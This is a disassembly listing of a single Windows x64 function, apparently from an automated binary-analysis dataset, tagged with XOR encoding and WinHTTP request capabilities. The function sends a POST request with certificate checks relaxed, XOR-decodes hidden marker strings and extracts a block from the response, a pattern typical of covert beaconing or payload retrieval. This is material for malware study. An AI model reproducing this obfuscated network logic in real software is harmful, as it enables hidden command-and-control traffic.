Function at 0x14000205c
Capabilities:
Encode data using xor
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x228]
sub rsp, 0x300
xor sil, sil
mov r14d, r8d
mov byte [rbp + 0x248], sil
mov r15, rdx
mov rdi, rcx
call fcn.140001b68
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rcx, rbx
mov r13, rax
call fcn.140002480
test r13, r13
je 0x1400023b1
mov ebx, 0x68
lea rcx, [rbp - 0x80]
mov r8d, ebx
xor edx, edx
call fcn.140002420
or eax, 0xffffffff
mov dword [rbp - 0x80], ebx
lea r9, [rbp - 0x80]
mov dword [rbp - 0x70], eax
xor r8d, r8d
mov dword [rbp - 0x30], eax
xor edx, edx
mov dword [rbp - 0x60], eax
mov rcx, rdi
mov dword [rbp - 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
xor edi, edi
test eax, eax
je 0x1400023a8
mov r8d, dword [rbp - 0x60]
lea rcx, [rbp - 0x10]
mov rdx, qword [rbp - 0x68]
call fcn.1400078b0
cmp dword [rbp - 0x6c], 2
lea r8d, [rbx - 0x18]
mov ecx, 0x1bb
lea rdx, [rbp - 0x10]
cmove r8w, cx
xor r9d, r9d
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x1400023a8
cmp dword [rbp - 0x6c], 2
lea rdx, str.POST
mov r8, qword [rbp - 0x38]
mov eax, 0x100
mov ecx, 0x800100
cmove eax, ecx
xor r9d, r9d
mov dword [rsp + 0x30], eax
mov rcx, r12
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x140002398
cmp dword [rbp - 0x6c], 2
jne 0x1400021cf
mov dword [rsp + 0x40], edi
lea r9, [rsp + 0x44]
lea edi, [rbx - 0x64]
mov rcx, rax
lea ebx, [rdi + 0x1b]
mov dword [rsp + 0x44], edi
mov edx, ebx
lea r8, [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
or dword [rsp + 0x40], 0x3300
lea r8, [rsp + 0x40]
mov r9d, edi
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor edi, edi
mov qword [rsp + 0x30], rdi
mov r9, r15
mov dword [rsp + 0x28], r14d
or r8d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000238f
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x14000238f
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.14000cadc
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000c9ec
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rax
mov dword [rsp + 0x44], edi
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002266
mov edx, dword [rsp + 0x44]
lea rcx, [rsp + 0x60]
call fcn.14000ca3c
cmp dword [rsp + 0x40], edi
ja 0x14000221a
cmp qword [rsp + 0x70], rdi
je 0x140002385
movdqa xmm0, xmmword [0x1400144a0]
mov r14d, SafeArrayGetElement
mov rbx, qword [rsp + 0x60]
mov ecx, r14d
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], 0x2d7d
mov byte [rsp + 0x5a], r14b
call fcn.14000257c
lea r8, [rsp + 0x48]
mov r10, rax
sub r8, rax
mov rdx, rax
mov r9d, r14d
mov al, byte [r8 + rdx]
xor al, r14b
mov byte [rdx], al
inc rdx
sub r9, 1
jne 0x1400022b5
mov rdx, r10
mov rcx, rbx
call fcn.1400076ec
test rax, rax
je 0x140002385
mov rdi, qword [rsp + 0x60]
mov ebx, 0xa
mov ecx, ebx
mov byte [rbp + 0x248], 1
mov dword [rsp + 0x48], 0x312e777a
mov dword [rsp + 0x4c], 0x72677277
mov word [rsp + 0x50], 0x1331
call fcn.14000257c
lea r8, [rsp + 0x48]
mov r9, rax
sub r8, rax
mov rdx, rax
mov al, byte [r8 + rdx]
xor al, r14b
mov byte [rdx], al
inc rdx
sub rbx, 1
jne 0x140002318
mov rdx, r9
mov rcx, rdi
call fcn.1400076ec
test rax, rax
je 0x140002385
lea rdx, [0x140014484]
mov rcx, rax
call fcn.1400076ec
lea rdx, [0x140014488]
lea rbx, [rax + 1]
mov rcx, rbx
call fcn.1400076ec
mov rdi, rax
sub edi, ebx
cmp edi, 0x20
jle 0x140002385
mov edx, edi
mov rcx, rbx
call fcn.1400075d4
mov edx, edi
mov rcx, rax
mov rbx, rax
call fcn.140001ba4
mov rcx, rbx
call fcn.140002480
lea rcx, [rsp + 0x60]
call fcn.14000cab8
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov sil, byte [rbp + 0x248]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea r11, [rsp + 0x300]
mov al, sil
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret